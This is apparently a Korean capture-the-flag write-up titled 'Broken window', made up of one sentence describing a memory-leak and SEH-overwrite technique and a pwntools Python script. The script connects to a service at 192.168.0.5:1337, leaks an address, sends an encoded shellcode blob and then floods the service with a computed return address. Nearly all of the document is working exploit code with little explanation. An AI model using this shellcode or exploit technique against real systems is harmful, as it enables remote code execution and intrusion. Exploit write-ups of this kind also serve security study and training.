Broken window

심효빈

익스 방법은 메모리 릭 후 쉘코드를 입력해서 use zeroday에서 SEH가 호출이 되게 만들어서 원하는 주소(릭 한 주소를 기점으로 전역으로 선언 되어 있는 오프셋 계산한 주소)로 이동을 시켜준다.

```
from pwn import *

import time

r = remote("192.168.0.5",1337)

shellcode = "₩xd9₩xc5₩xd9₩x74₩x24₩xf4₩x5f₩x31₩xc9₩xbe₩xf2₩x71₩x92₩xfd"

shellcode += "₩xb1₩x30₩x31₩x77₩x18₩x83₩xef₩xfc₩x03₩x77₩xe6₩x93₩x67₩x01"

shellcode += "₩xee₩xd6₩x88₩xfa₩xee₩xb6₩x01₩x1f₩xdf₩xf6₩x76₩x6b₩x4f₩xc7"

shellcode += "₩xfd₩x39₩x63₩xac₩x50₩xaa₩xf0₩xc0₩x7c₩xdd₩xb1₩x6f₩x5b₩xd0"

shellcode += "₩x42₩xc3₩x9f₩x73₩xc0₩x1e₩xcc₩x53₩xf9₩xd0₩x01₩x95₩x3e₩x0c"

shellcode += "₩xeb₩xc7₩x97₩x5a₩x5e₩xf8₩x9c₩x17₩x63₩x73₩xee₩xb6₩xe3₩x60"

shellcode += "₩xa6₩xb9₩xc2₩x36₩xbd₩xe3₩xc4₩xb9₩x12₩x98₩x4c₩xa2₩x77₩xa5"

shellcode += "₩x07₩x59₩x43₩x51₩x96₩x8b₩x9a₩x9a₩x35₩xf2₩x13₩x69₩x47₩x32"

shellcode += "₩x93₩x92₩x32₩x4a₩xe0₩x2f₩x45₩x89₩x9b₩xeb₩xc0₩x0a₩x3b₩x7f"

shellcode += "₩x72₩xf7₩xba₩xac₩xe5₩x7c₩xb0₩x19₩x61₩xda₩xd4₩x9c₩xa6₩x50"

shellcode += "₩xe0₩x15₩x49₩xb7₩x61₩x6d₩x6e₩x13₩x2a₩x35₩x0f₩x02₩x96₩x98"

shellcode += "₩x30₩x54₩x79₩x44₩x95₩x1e₩x97₩x91₩xa4₩x7c₩xfd₩x64₩x3a₩xfb"

shellcode += "₩xb3₩x67₩x44₩x04₩xe3₩x0f₩x75₩x8f₩x6c₩x57₩x8a₩x5a₩xc9₩xa7"

shellcode += "₩xc0₩xc7₩x7b₩x20₩x8d₩x9d₩x3e₩x2d₩x2e₩x48₩x7c₩x48₩xad₩x79"

shellcode += "₩xfc₩xaf₩xad₩x0b₩xf9₩xf4₩x69₩xe7₩x73₩x64₩x1c₩x07₩x20₩x85"

shellcode += "₩x35₩x64₩xa7₩x15₩xd5₩x6b"

print r.recvuntil('> ')
```

```
r.sendline('2')

print r.recvuntil(' : ')

r.sendline('1'*300)

print r.recv()

#r.sendline()

#time.sleep(5)

print r.recvuntil('Title : ')

print r.recv(300)


leak=u32(r.recv(4))

leak=leak-0xd000000

print "leak = 0x%x " % leak


print r.recvuntil('> ')

r.sendline('2')

print r.recvuntil(' : ')

r.sendline('1')

print r.recvuntil('y: ')

r.sendline(shellcode)

print r.recv(1024)

r.sendline('3')

print r.recv()

r.sendline(p32(leak+82256)*1000)

print r.recv()
```